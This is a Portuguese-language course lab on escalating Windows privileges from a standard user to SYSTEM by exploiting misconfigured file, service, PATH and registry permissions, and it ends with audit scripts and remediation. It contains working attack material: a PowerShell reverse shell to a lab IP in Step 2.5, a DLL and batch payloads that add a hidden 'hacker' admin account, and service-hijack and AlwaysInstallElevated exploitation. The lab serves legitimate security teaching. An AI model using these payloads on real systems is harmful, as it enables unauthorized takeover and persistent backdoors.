Lab 4.1: Escalada de Privilégios via Permissões Mal Configuradas

Objetivos de Aprendizagem

Ao final deste laboratório, você será capaz de:

Identificar permissões perigosas em arquivos e pastas do Windows
Explorar arquivos de sistema com permissões excessivamente permissivas
Compreender e explorar serviços Windows mal configurados
Realizar uma escalada de privilégios de user para SYSTEM
Aplicar o princípio do menor privilégio para defesa
Auditar um sistema para erros de configuração de permissões

Duração Estimada

35 minutos

Pré-requisitos

VM Windows 10/11 com conta de usuário padrão
Conta de administrador disponível para configuração inicial
Compreensão das permissões NTFS (aula teórica)
Labs dos módulos anteriores concluídos

Contexto Profissional

A escalada de privilégios é uma etapa crítica na maioria dos ataques. Após obter um acesso inicial (usuário padrão), o atacante busca obter privilégios de administrador ou SYSTEM para:

Instalar backdoors permanentes
Desativar antivírus e firewalls
Acessar todos os dados do sistema
Comprometer outras máquinas da rede
Manter acesso de longo prazo

Más configurações de permissões são uma das principais causas de escalada de privilégios em empresas. Este lab ensina como identificá-las e explorá-las em um ambiente controlado, e depois corrigi-las.

Casos de uso profissionais:

Testes de penetração interna
Auditoria de segurança de estações de trabalho
Validação de conformidade (CIS Benchmarks)
Análise de superfície de ataque

AVISO ÉTICO E LEGAL

As técnicas de escalada de privilégios ensinadas neste lab permitem obter controle total de um sistema Windows. Essas técnicas são usadas por atacantes para comprometer sistemas.

PERMITIDO APENAS:

Em sua VM de teste pessoal
Em sistemas dos quais você é proprietário ou administrador autorizado
Em testes de penetração com contrato assinado
Para avaliação de segurança com autorização por escrito

ESTRITAMENTE PROIBIDO:

Em sistemas corporativos sem autorização formal
Em computadores que não lhe pertencem
Para obter acessos não autorizados
Para contornar medidas de segurança sem permissão

CONSEQUÊNCIAS LEGAIS: Escalada de privilégios não autorizada = Acesso ilegal a sistema informático (Código Penal Canadense, artigo 342.1). Penas: multas elevadas e prisão.

Parte 1: Compreendendo as Permissões do Windows

Etapa 1.1: Modelo de Segurança do Windows

Níveis de privilégio:

Usuário Padrão
- Pode modificar seus próprios arquivos
- Pode executar a maioria dos programas
- NÃO pode instalar softwares de sistema
- NÃO pode modificar arquivos de sistema
- NÃO pode acessar arquivos de outros usuários
Administrador
- Pode instalar softwares
- Pode modificar a configuração do sistema
- Pode criar/remover usuários
- Pode modificar permissões
- Limitado pelo UAC em algumas ações
SYSTEM
- Conta de sistema do Windows
- Privilégios MÁXIMOS
- Mais poderoso que administrador
- Sem restrições do UAC
- Controle total do sistema

Objetivo deste lab: Passar de Usuário Padrão para SYSTEM

Etapa 1.2: Comando ICacls - Auditoria de Permissões

O comando icacls permite visualizar e modificar permissões NTFS.

Sintaxe básica:

icacls "C:\caminho\para\arquivo"

Leitura das permissões:

F  = Full control (Controle total)
M  = Modify (Modificar)
RX = Read & Execute (Ler e executar)
R  = Read (Ler)
W  = Write (Escrever)

Exemplos de saída:

C:\Windows\System32\calc.exe NT AUTHORITY\SYSTEM:(I)(F)
                            BUILTIN\Administrators:(I)(F)
                            BUILTIN\Users:(I)(RX)

Perguntas:

Qual é o nível de privilégio da sua conta atual? (Execute whoami /groups)
Você pode modificar um arquivo em C:\Windows\System32 como usuário padrão?

Etapa 1.3: Busca de Arquivos com Permissões Incorretas

Comando de busca:

icacls "C:\Program Files\*" /T 2>nul | findstr "Everyone:(F) Users:(F) %USERNAME%:(F)"

Explicação:

Varre todos os arquivos em Program Files
/T = Recursivo
2>nul = Ignora erros
Procura permissões Full Control para Everyone, Users ou você

Alternativa PowerShell (mais poderosa):

Get-ChildItem "C:\Program Files" -Recurse -ErrorAction SilentlyContinue | 
  ForEach-Object {
    $acl = Get-Acl $_.FullName
    $writeAccess = $acl.Access | Where-Object {
      ($_.IdentityReference -like "*Users*" -or $_.IdentityReference -like "*Everyone*") -and
      ($_.FileSystemRights -match "FullControl|Modify|Write")
    }
    if ($writeAccess) {
      [PSCustomObject]@{
        Path = $_.FullName
        Identity = $writeAccess.IdentityReference
        Rights = $writeAccess.FileSystemRights
      }
    }
  }

Perguntas: 3. Você encontrou arquivos com permissões excessivamente permissivas? 4. Por que essas permissões são perigosas?

Parte 2: Exploração de Serviço com Binário Gravável

Etapa 2.1: Conceito do Ataque

Princípio:

Um serviço Windows é executado como SYSTEM
O binário (arquivo .exe) do serviço tem permissões incorretas
Usuário padrão pode MODIFICAR o binário
Substituir por reverse shell ou backdoor
Reiniciar o serviço
Código malicioso executa como SYSTEM

Resultado: Escalada de Usuário para SYSTEM em 2 etapas!

Etapa 2.2: Criar um Serviço Vulnerável (Setup)

NOTA: Esta etapa é feita pelo administrador para criar o ambiente vulnerável.

Na sua VM, como administrador:

Crie um serviço simples VulnService.exe:

@echo off
REM Serviço simples que não faz nada
:loop
timeout /t 10 /nobreak > nul
goto loop

Salve como VulnService.bat, depois crie um wrapper:

echo @echo off > C:\Services\VulnService.bat
echo :loop >> C:\Services\VulnService.bat
echo timeout /t 10 /nobreak ^> nul >> C:\Services\VulnService.bat
echo goto loop >> C:\Services\VulnService.bat

Crie o serviço:

sc create VulnService binPath= "C:\Services\VulnService.bat" start= auto
sc description VulnService "Serviço de teste para lab de segurança"

Dê permissões WRITE para Users (DELIBERADAMENTE vulnerável!):

icacls "C:\Services\VulnService.bat" /grant Users:F

Verifique:

icacls "C:\Services\VulnService.bat"

Deve mostrar: BUILTIN\Users:(F)

Etapa 2.3: Enumeração de Serviços (Como Usuário)

Agora, conecte-se como USUÁRIO PADRÃO.

Liste todos os serviços:

sc query type= service state= all

Encontre serviços que rodam como SYSTEM:

Get-WmiObject win32_service | 
  Where-Object {$_.StartMode -ne "Disabled"} | 
  Select-Object Name, DisplayName, PathName, StartName, State | 
  Format-Table -AutoSize

Procure especialmente:

StartName = LocalSystem (SYSTEM)
Serviços personalizados (não Microsoft)

Identifique o VulnService:

sc qc VulnService

Anote o caminho: C:\Services\VulnService.bat

Perguntas: 5. Quantos serviços estão rodando como SYSTEM? 6. Qual é o caminho do binário do VulnService?

Etapa 2.4: Verificação das Permissões do Binário

Verifique se você pode modificar o arquivo:

icacls "C:\Services\VulnService.bat"

Se você ver:

BUILTIN\Users:(F)

VULNERABILIDADE ENCONTRADA! Você pode modificar este arquivo!

Teste de modificação:

echo REM Teste de modificação >> C:\Services\VulnService.bat

Se não houver erro: Você PODE modificar! Exploração possível!

Perguntas: 7. Você pode modificar o binário do serviço como usuário? 8. Qual conta executa este serviço?

Etapa 2.5: Exploração - Substituir por Reverse Shell

Crie seu payload (reverse shell simples):

Salve como payload.bat:

@echo off
REM Reverse shell para 192.168.100.10:4444
powershell -WindowStyle Hidden -Command "$client = New-Object System.Net.Sockets.TCPClient('192.168.100.10',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

OU versão simples que cria uma conta admin:

@echo off
net user hacker Password123! /add
net localgroup Administradores hacker /add

Substitua o serviço:

copy C:\Services\VulnService.bat C:\Services\VulnService.bat.bak
copy payload.bat C:\Services\VulnService.bat

Reinicie o serviço:

sc stop VulnService
sc start VulnService

BOOM! O serviço executa como SYSTEM com SEU código!

Se reverse shell: Seu listener recebe conexão como SYSTEM
Se criação de conta: Nova conta admin criada!

Verificação:

net user

Você deve ver a conta "hacker"!

net localgroup Administradores

A conta "hacker" está no grupo Administradores!

Perguntas: 9. A exploração foi bem-sucedida? 10. Quanto tempo levou a escalada completa (da descoberta à exploração)?

Parte 3: Exploração de DLL Hijacking

Etapa 3.1: Compreendendo o DLL Hijacking

Princípio:

Quando um programa Windows inicia:

Procura as DLL necessárias
Ordem de busca predefinida (DLL Search Order)
Se a DLL for encontrada no PATH antes do local correto: É carregada!

Ordem de busca típica:

Pasta do aplicativo
System32
Windows
Pasta atual
Pastas no PATH

Exploração:

Colocar uma DLL maliciosa em uma pasta buscada primeiro
Aplicação carrega NOSSA DLL em vez da legítima
Código malicioso executado com os privilégios da aplicação

Etapa 3.2: Identificar Aplicações Vulneráveis

Ferramenta: Process Monitor (Sysinternals)

Download: https://learn.microsoft.com/en-us/sysinternals/downloads/procmon

Configuração:

Inicie o Process Monitor como admin
Filtros:
- Operation: CreateFile
- Path: ends with .dll
- Result: NAME NOT FOUND

Inicie uma aplicação e observe:

Você verá todas as DLLs que a aplicação procura mas não encontra!

Exemplo de saída:

explorer.exe  CreateFile  C:\Windows\version.dll  NAME NOT FOUND
explorer.exe  CreateFile  C:\Program Files\...\missing.dll  NAME NOT FOUND

Se algum desses caminhos for gravável por Users: EXPLORAÇÃO POSSÍVEL!

Etapa 3.3: Criar uma DLL Maliciosa (Demonstração)

NOTA: Criar DLL requer compilação. Para este lab, usaremos uma DLL de teste.

Conceito de uma DLL maliciosa:

// payload.c
#include <windows.h>

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) {
    if (fdwReason == DLL_PROCESS_ATTACH) {
        // Código malicioso executado ao carregar
        WinExec("cmd.exe /c net user hacker Pass123! /add", SW_HIDE);
        WinExec("cmd.exe /c net localgroup Administrators hacker /add", SW_HIDE);
    }
    return TRUE;
}

Compilação:

x86_64-w64-mingw32-gcc payload.c -shared -o version.dll

Colocação:

copy version.dll "C:\Writable\Path\version.dll"

Reinicie a aplicação:

A aplicação carrega a DLL falsa e executa o código malicioso!

Perguntas: 11. Quais aplicações procuraram DLLs não encontradas? 12. Quais caminhos são graváveis pelo seu usuário?

Etapa 3.4: Exploração da Variável PATH

Verifique seu PATH:

echo %PATH%

Procure pastas com acesso de escrita:

$env:PATH -split ';' | ForEach-Object {
    if (Test-Path $_) {
        $acl = Get-Acl $_
        $writeAccess = $acl.Access | Where-Object {
            ($_.IdentityReference -like "*Users*" -or $_.IdentityReference -like "*$env:USERNAME*") -and
            ($_.FileSystemRights -match "Write|Modify|FullControl")
        }
        if ($writeAccess) {
            Write-Host "VULNERÁVEL: $_" -ForegroundColor Red
            Write-Host "  Permissões: $($writeAccess.FileSystemRights)"
        }
    }
}

Se uma pasta no PATH for gravável:

Aplicação procura uma DLL
DLL maliciosa colocada no PATH gravável
Windows encontra e carrega
Código malicioso executado!

Demonstração:

REM Se C:\Tools está no PATH e é gravável
copy malicious.dll C:\Tools\commonlib.dll

Próxima aplicação que procurar commonlib.dll irá carregar a sua!

Parte 4: Exploração de Arquivos de Sistema Graváveis

Etapa 4.1: Busca de Arquivos de Sistema com Permissões Incorretas

Script PowerShell de enumeração:

Write-Host "=== AUDITORIA DE PERMISSÕES - ARQUIVOS DE SISTEMA ===" -ForegroundColor Cyan

$systemPaths = @(
    "C:\Windows\System32",
    "C:\Windows\SysWOW64",
    "C:\Program Files",
    "C:\Program Files (x86)"
)

$vulnerableFiles = @()

foreach ($path in $systemPaths) {
    if (Test-Path $path) {
        Write-Host "`nEscaneando: $path" -ForegroundColor Yellow
        
        Get-ChildItem -Path $path -File -ErrorAction SilentlyContinue | ForEach-Object {
            try {
                $acl = Get-Acl $_.FullName -ErrorAction Stop
                $dangerousPerms = $acl.Access | Where-Object {
                    ($_.IdentityReference -like "*Users*" -or 
                     $_.IdentityReference -like "*Everyone*" -or 
                     $_.IdentityReference -like "*Authenticated Users*") -and
                    ($_.FileSystemRights -match "Write|Modify|FullControl") -and
                    ($_.AccessControlType -eq "Allow")
                }
                
                if ($dangerousPerms) {
                    $vulnerableFiles += [PSCustomObject]@{
                        File = $_.FullName
                        Identity = $dangerousPerms.IdentityReference -join ", "
                        Rights = $dangerousPerms.FileSystemRights -join ", "
                    }
                }
            } catch {}
        }
    }
}

if ($vulnerableFiles.Count -gt 0) {
    Write-Host "`n=== ARQUIVOS VULNERÁVEIS ENCONTRADOS ===" -ForegroundColor Red
    $vulnerableFiles | Format-Table -AutoSize
} else {
    Write-Host "`nNenhuma vulnerabilidade de permissão encontrada." -ForegroundColor Green
}

Salve como permission_audit.ps1 e execute:

powershell -ExecutionPolicy Bypass -File permission_audit.ps1

Resultado esperado:

Se o sistema estiver bem configurado: Nenhuma vulnerabilidade
Se mal configurado: Lista de arquivos exploráveis

Etapa 4.2: Cenário - Exploração de Binário Gravável

Se você encontrar um arquivo de sistema gravável:

Exemplo: C:\Program Files\SomeApp\app.exe com permissões Users:(M)

Exploração:

Faça backup do original:

copy "C:\Program Files\SomeApp\app.exe" "C:\Program Files\SomeApp\app.exe.bak"

Substitua pelo payload:

copy evil_payload.exe "C:\Program Files\SomeApp\app.exe"

Aguarde ou force a execução:
- Se serviço: sc start ServiceName
- Se aplicação: O usuário executa
- Se tarefa agendada: Aguarde o horário
Payload executa com os privilégios da aplicação!

Perguntas: 13. Que tipos de arquivos de sistema você poderia explorar? 14. Como um administrador deve configurar as permissões?

Parte 5: Unquoted Service Paths

Etapa 5.1: Compreendendo a Vulnerabilidade

Problema: Serviço com caminho contendo espaços E sem aspas

Exemplo de serviço vulnerável:

binPath= C:\Program Files\My Service\service.exe

O Windows procura nesta ordem:

C:\Program.exe
C:\Program Files\My.exe
C:\Program Files\My Service\service.exe

Se você pode escrever em C:\ ou C:\Program Files\:

Coloque Program.exe ou My.exe
O Windows executará primeiro!
Com privilégios do serviço (geralmente SYSTEM)

Etapa 5.2: Busca de Serviços Vulneráveis

PowerShell:

Get-WmiObject win32_service | 
  Where-Object {
    $_.PathName -notmatch '^".*"' -and 
    $_.PathName -match ' ' -and 
    $_.StartName -like '*System*'
  } | 
  Select-Object Name, PathName, StartName, State | 
  Format-List

CMD:

wmic service get name,pathname,startname | findstr /i /v "C:\Windows" | findstr /i /v """

Resultado típico:

Name: VulnerableService
PathName: C:\Program Files\Vulnerable App\service.exe
StartName: LocalSystem

ATENÇÃO aos espaços e ausência de aspas!

Etapa 5.3: Exploração

Se você encontrar:

PathName: C:\Program Files\My Service\app.exe

E C:\Program Files\ for gravável (raro, mas possível):

Crie My.exe (payload):

copy payload.exe "C:\Program Files\My.exe"

Reinicie o serviço:

sc stop VulnerableService
sc start VulnerableService

O Windows executa C:\Program Files\My.exe em vez de My Service\app.exe!

Perguntas: 15. Você encontrou serviços com unquoted paths? 16. Por que essa vulnerabilidade existe?

Parte 6: Permissões de Pastas e AlwaysInstallElevated

Etapa 6.1: AlwaysInstallElevated

Política de registro perigosa:

Se estas duas chaves existem e estão em 1:

HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated = 1
HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated = 1

Resultado: Todos os arquivos .msi são instalados com privilégios SYSTEM!

Verificação:

reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Se ambos retornarem 0x1: Vulnerabilidade presente!

Exploração:

Crie um .msi malicioso (com msfvenom ou WiX Toolset)
Execute: msiexec /quiet /qn /i malicious.msi
Instalação com privilégios SYSTEM!
Payload executado como SYSTEM!

PowerShell - Verificação automática:

function Test-AlwaysInstallElevated {
    $hklm = (Get-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows\Installer" -ErrorAction SilentlyContinue).AlwaysInstallElevated
    $hkcu = (Get-ItemProperty "HKCU:\SOFTWARE\Policies\Microsoft\Windows\Installer" -ErrorAction SilentlyContinue).AlwaysInstallElevated
    
    if ($hklm -eq 1 -and $hkcu -eq 1) {
        Write-Host "VULNERÁVEL: AlwaysInstallElevated ativado!" -ForegroundColor Red
        return $true
    } else {
        Write-Host "Não vulnerável" -ForegroundColor Green
        return $false
    }
}

Test-AlwaysInstallElevated

Etapa 6.2: Registro Gravável

Algumas chaves de registro controlam serviços:

Procure chaves de serviços com permissão de escrita:

Get-ChildItem "HKLM:\SYSTEM\CurrentControlSet\Services" | ForEach-Object {
    try {
        $acl = Get-Acl "Registry::$($_.Name)" -ErrorAction Stop
        $writeAccess = $acl.Access | Where-Object {
            $_.IdentityReference -like "*Users*" -and
            $_.RegistryRights -match "WriteKey|FullControl"
        }
        if ($writeAccess) {
            Write-Host "Vulnerável: $($_.PSChildName)"
            Write-Host "  Permissões: $($writeAccess.RegistryRights)"
        }
    } catch {}
}

Se uma chave de serviço for gravável:

Modificar ImagePath (caminho do binário):

reg add "HKLM\SYSTEM\CurrentControlSet\Services\VulnService" /v ImagePath /t REG_EXPAND_SZ /d "C:\payload.exe" /f

Reinicie o serviço: Payload executado como SYSTEM!

Perguntas: 17. Existem chaves de registro de serviços graváveis por Users? 18. Por que permitir que Users modifiquem o registro do sistema é perigoso?

Parte 7: Detecção e Defesa

Etapa 7.1: Script de Auditoria Completa

Crie escalation_audit.ps1:

Write-Host "=== AUDITORIA DE ESCALADA DE PRIVILÉGIOS ===" -ForegroundColor Cyan
Write-Host ""

# 1. Serviços com binários graváveis
Write-Host "[1] Serviços com binários modificáveis" -ForegroundColor Yellow
Get-WmiObject win32_service | Where-Object {$_.PathName -and $_.StartName -like '*System*'} | ForEach-Object {
    $path = $_.PathName -replace '"','' -replace ' .*',''
    if (Test-Path $path) {
        try {
            $acl = Get-Acl $path -ErrorAction Stop
            $writeAccess = $acl.Access | Where-Object {
                ($_.IdentityReference -like "*Users*") -and
                ($_.FileSystemRights -match "Write|Modify|FullControl")
            }
            if ($writeAccess) {
                Write-Host "  VULNERÁVEL: $($_.Name)" -ForegroundColor Red
                Write-Host "    Caminho: $path"
                Write-Host "    Executa como: $($_.StartName)"
            }
        } catch {}
    }
}

# 2. Unquoted service paths
Write-Host "`n[2] Unquoted Service Paths" -ForegroundColor Yellow
Get-WmiObject win32_service | Where-Object {
    $_.PathName -notmatch '^".*"' -and 
    $_.PathName -match ' ' -and
    $_.StartName -like '*System*'
} | ForEach-Object {
    Write-Host "  VULNERÁVEL: $($_.Name)" -ForegroundColor Red
    Write-Host "    Caminho: $($_.PathName)"
}

# 3. AlwaysInstallElevated
Write-Host "`n[3] AlwaysInstallElevated" -ForegroundColor Yellow
$hklm = (Get-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows\Installer" -ErrorAction SilentlyContinue).AlwaysInstallElevated
$hkcu = (Get-ItemProperty "HKCU:\SOFTWARE\Policies\Microsoft\Windows\Installer" -ErrorAction SilentlyContinue).AlwaysInstallElevated
if ($hklm -eq 1 -and $hkcu -eq 1) {
    Write-Host "  VULNERÁVEL: AlwaysInstallElevated ativado" -ForegroundColor Red
} else {
    Write-Host "  Não vulnerável" -ForegroundColor Green
}

# 4. Pastas no PATH graváveis
Write-Host "`n[4] Pastas PATH graváveis" -ForegroundColor Yellow
$env:PATH -split ';' | ForEach-Object {
    if (Test-Path $_) {
        try {
            $acl = Get-Acl $_ -ErrorAction Stop
            $writeAccess = $acl.Access | Where-Object {
                ($_.IdentityReference -like "*Users*") -and
                ($_.FileSystemRights -match "Write|Modify|FullControl")
            }
            if ($writeAccess) {
                Write-Host "  VULNERÁVEL: $_" -ForegroundColor Red
            }
        } catch {}
    }
}

Write-Host "`n=== AUDITORIA FINALIZADA ===" -ForegroundColor Cyan

Execute:

powershell -ExecutionPolicy Bypass -File escalation_audit.ps1

Relatório completo de todas as vulnerabilidades de escalada!

Etapa 7.2: Correção de Permissões

Para corrigir uma permissão incorreta:

Remover acesso de escrita para Users:

icacls "C:\Services\VulnService.bat" /remove Users

Dar apenas Read & Execute:

icacls "C:\Services\VulnService.bat" /grant Users:RX

Dar Full Control apenas para SYSTEM e Admins:

icacls "C:\Services\VulnService.bat" /grant SYSTEM:F
icacls "C:\Services\VulnService.bat" /grant Administrators:F

Verifique:

icacls "C:\Services\VulnService.bat"

Deve mostrar:

NT AUTHORITY\SYSTEM:(F)
BUILTIN\Administrators:(F)
BUILTIN\Users:(RX)

Princípio do menor privilégio aplicado!

Etapa 7.3: Boas Práticas

Para evitar essas vulnerabilidades:

Serviços:
- Sempre usar aspas no binPath
- Permissões restritivas nos binários (RX para Users no máximo)
- Executar serviços com contas dedicadas (evitar SYSTEM se possível)
- Auditar regularmente
Arquivos de sistema:
- Nunca Full Control para Users
- Modificação reservada para SYSTEM e Admins
- Auditoria automatizada semanal
PATH:
- Não ter pastas graváveis por Users no PATH do sistema
- Apenas pastas pessoais no PATH do usuário
Registro:
- Permissões estritas em HKLM\SYSTEM
- Monitoramento de modificações
- Alertas sobre mudanças em serviços
AlwaysInstallElevated:
- NUNCA ativar esta política
- Verificar regularmente se está desativada

Perguntas: 19. Qual é a permissão mais segura para um binário de serviço? 20. Como você automatizaria a auditoria de permissões?

Entregáveis

A entregar:

Relatório de exploração (Word/PDF, 4-5 páginas):
- Respostas às 20 perguntas
- Metodologia de escalada utilizada
- Tempo medido para cada etapa
- Capturas de tela das explorações bem-sucedidas
Capturas de tela (mínimo 6):
- Conta user padrão inicial (whoami)
- Descoberta de serviço vulnerável (icacls)
- Modificação do binário do serviço
- Conta SYSTEM obtida ou admin criado
- Resultado do script permission_audit.ps1
- Permissões corrigidas
Script de auditoria (PowerShell):
- Versão aprimorada do permission_audit.ps1
- Exportação dos resultados em CSV
- Relatório HTML gerado
Plano de remediação (2 páginas):
- Lista de vulnerabilidades encontradas
- Priorização por risco
- Ações corretivas recomendadas
- Cronograma de implementação

Critérios de Avaliação

Critério	Pontos
Identificação de vulnerabilidades de permissões	25%
Exploração bem-sucedida (escalada de privilégios)	30%
Compreensão dos vetores de ataque	20%
Script de auditoria funcional	15%
Plano de remediação realista	10%

Comandos de Referência Rápida

Enumeração

whoami /all
icacls "arquivo.exe"
sc query type= service state= all
wmic service get name,pathname,startname
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer

PowerShell

Get-Acl "arquivo" | Format-List
Get-WmiObject win32_service
Get-ChildItem -Recurse | Get-Acl

Exploração

copy payload.exe "caminho_vulneravel.exe"
sc stop ServiceName
sc start ServiceName
net user hacker Pass123! /add
net localgroup Administrators hacker /add

Correção

icacls "arquivo" /remove Users
icacls "arquivo" /grant Users:RX
icacls "arquivo" /grant SYSTEM:F

Solução de Problemas

Problema: "Acesso negado" ao tentar modificar arquivo

Solução: Isso é normal se as permissões estiverem corretas! Procure outros arquivos ou crie um serviço vulnerável para o lab.

Problema: Nenhum serviço vulnerável encontrado

Solução: Crie um deliberadamente (Etapa 2.2) para praticar a exploração.

Problema: Serviço não reinicia

Solução:

Verifique se o serviço existe: sc query ServiceName
Verifique as permissões: direitos de admin podem ser necessários
Verifique os logs: eventvwr.msc → Logs do Windows → Sistema

Indo Além (Opcional)

Desafio 1: Exploração Automatizada

Crie um script que:

Varre automaticamente todos os serviços
Identifica aqueles com binários graváveis
Gera payloads apropriados
Lista todas as vias possíveis de escalada

Desafio 2: PowerUp

Use a ferramenta PowerUp (PowerShell Empire):

Import-Module .\PowerUp.ps1
Invoke-AllChecks

Compare com seu script de auditoria.

Desafio 3: Privilege Escalation Database

Pesquise e documente:

Windows Exploit Suggester
JAWS (Just Another Windows enum Script)
WinPEAS
Sherlock

Teste-os em sua VM e compare os resultados.

Recursos Adicionais

Conclusão

Este lab ensinou você a:

Identificar vulnerabilidades de permissões no Windows
Explorar serviços mal configurados para escalada de privilégios
Compreender os vetores de ataque: binários graváveis, DLL hijacking, unquoted paths
Realizar uma auditoria completa de permissões
Aplicar o princípio do menor privilégio

Lições-chave:

Permissões incorretas são uma das principais causas de escalada de privilégios
Serviços executados como SYSTEM com binários modificáveis = vulnerabilidade crítica
Auditoria regular de permissões é essencial
O princípio do menor privilégio deve ser aplicado sistematicamente
A automação da auditoria permite detectar rapidamente problemas

Em um ambiente real:

Essas vulnerabilidades são comuns, especialmente em aplicações de terceiros
A exploração pode levar menos de 5 minutos
Detecção difícil sem monitoramento adequado
Impacto crítico: controle total do sistema

Próxima etapa: Lab 4.2 onde você aprenderá a esconder arquivos maliciosos usando Alternate Data Streams do NTFS!

Lab desenvolvido no âmbito do curso Sistemas Operacionais - MÓDULO 4

Objetivos de Aprendizagem​

Duração Estimada​

Pré-requisitos​

Contexto Profissional​

AVISO ÉTICO E LEGAL​

Parte 1: Compreendendo as Permissões do Windows​

Etapa 1.1: Modelo de Segurança do Windows​

Etapa 1.2: Comando ICacls - Auditoria de Permissões​

Etapa 1.3: Busca de Arquivos com Permissões Incorretas​

Parte 2: Exploração de Serviço com Binário Gravável​

Etapa 2.1: Conceito do Ataque​

Etapa 2.2: Criar um Serviço Vulnerável (Setup)​

Etapa 2.3: Enumeração de Serviços (Como Usuário)​

Etapa 2.4: Verificação das Permissões do Binário​

Etapa 2.5: Exploração - Substituir por Reverse Shell​

Parte 3: Exploração de DLL Hijacking​

Etapa 3.1: Compreendendo o DLL Hijacking​

Etapa 3.2: Identificar Aplicações Vulneráveis​

Etapa 3.3: Criar uma DLL Maliciosa (Demonstração)​

Etapa 3.4: Exploração da Variável PATH​

Parte 4: Exploração de Arquivos de Sistema Graváveis​

Etapa 4.1: Busca de Arquivos de Sistema com Permissões Incorretas​

Etapa 4.2: Cenário - Exploração de Binário Gravável​

Parte 5: Unquoted Service Paths​

Etapa 5.1: Compreendendo a Vulnerabilidade​

Etapa 5.2: Busca de Serviços Vulneráveis​

Etapa 5.3: Exploração​

Parte 6: Permissões de Pastas e AlwaysInstallElevated​

Etapa 6.1: AlwaysInstallElevated​

Etapa 6.2: Registro Gravável​

Parte 7: Detecção e Defesa​

Etapa 7.1: Script de Auditoria Completa​

Etapa 7.2: Correção de Permissões​

Etapa 7.3: Boas Práticas​

Entregáveis​

Critérios de Avaliação​

Comandos de Referência Rápida​

Enumeração​

PowerShell​

Exploração​

Correção​

Solução de Problemas​

Problema: "Acesso negado" ao tentar modificar arquivo​

Problema: Nenhum serviço vulnerável encontrado​

Problema: Serviço não reinicia​

Indo Além (Opcional)​

Desafio 1: Exploração Automatizada​

Desafio 2: PowerUp​

Desafio 3: Privilege Escalation Database​

Recursos Adicionais​

Conclusão​

Objetivos de Aprendizagem

Duração Estimada

Pré-requisitos

Contexto Profissional

AVISO ÉTICO E LEGAL

Parte 1: Compreendendo as Permissões do Windows

Etapa 1.1: Modelo de Segurança do Windows

Etapa 1.2: Comando ICacls - Auditoria de Permissões

Etapa 1.3: Busca de Arquivos com Permissões Incorretas

Parte 2: Exploração de Serviço com Binário Gravável

Etapa 2.1: Conceito do Ataque

Etapa 2.2: Criar um Serviço Vulnerável (Setup)

Etapa 2.3: Enumeração de Serviços (Como Usuário)

Etapa 2.4: Verificação das Permissões do Binário

Etapa 2.5: Exploração - Substituir por Reverse Shell

Parte 3: Exploração de DLL Hijacking

Etapa 3.1: Compreendendo o DLL Hijacking

Etapa 3.2: Identificar Aplicações Vulneráveis

Etapa 3.3: Criar uma DLL Maliciosa (Demonstração)

Etapa 3.4: Exploração da Variável PATH

Parte 4: Exploração de Arquivos de Sistema Graváveis

Etapa 4.1: Busca de Arquivos de Sistema com Permissões Incorretas

Etapa 4.2: Cenário - Exploração de Binário Gravável

Parte 5: Unquoted Service Paths

Etapa 5.1: Compreendendo a Vulnerabilidade

Etapa 5.2: Busca de Serviços Vulneráveis

Etapa 5.3: Exploração

Parte 6: Permissões de Pastas e AlwaysInstallElevated

Etapa 6.1: AlwaysInstallElevated

Etapa 6.2: Registro Gravável

Parte 7: Detecção e Defesa

Etapa 7.1: Script de Auditoria Completa

Etapa 7.2: Correção de Permissões

Etapa 7.3: Boas Práticas

Entregáveis

Critérios de Avaliação

Comandos de Referência Rápida

Enumeração

PowerShell

Exploração

Correção

Solução de Problemas

Problema: "Acesso negado" ao tentar modificar arquivo

Problema: Nenhum serviço vulnerável encontrado

Problema: Serviço não reinicia

Indo Além (Opcional)

Desafio 1: Exploração Automatizada

Desafio 2: PowerUp

Desafio 3: Privilege Escalation Database

Recursos Adicionais

Conclusão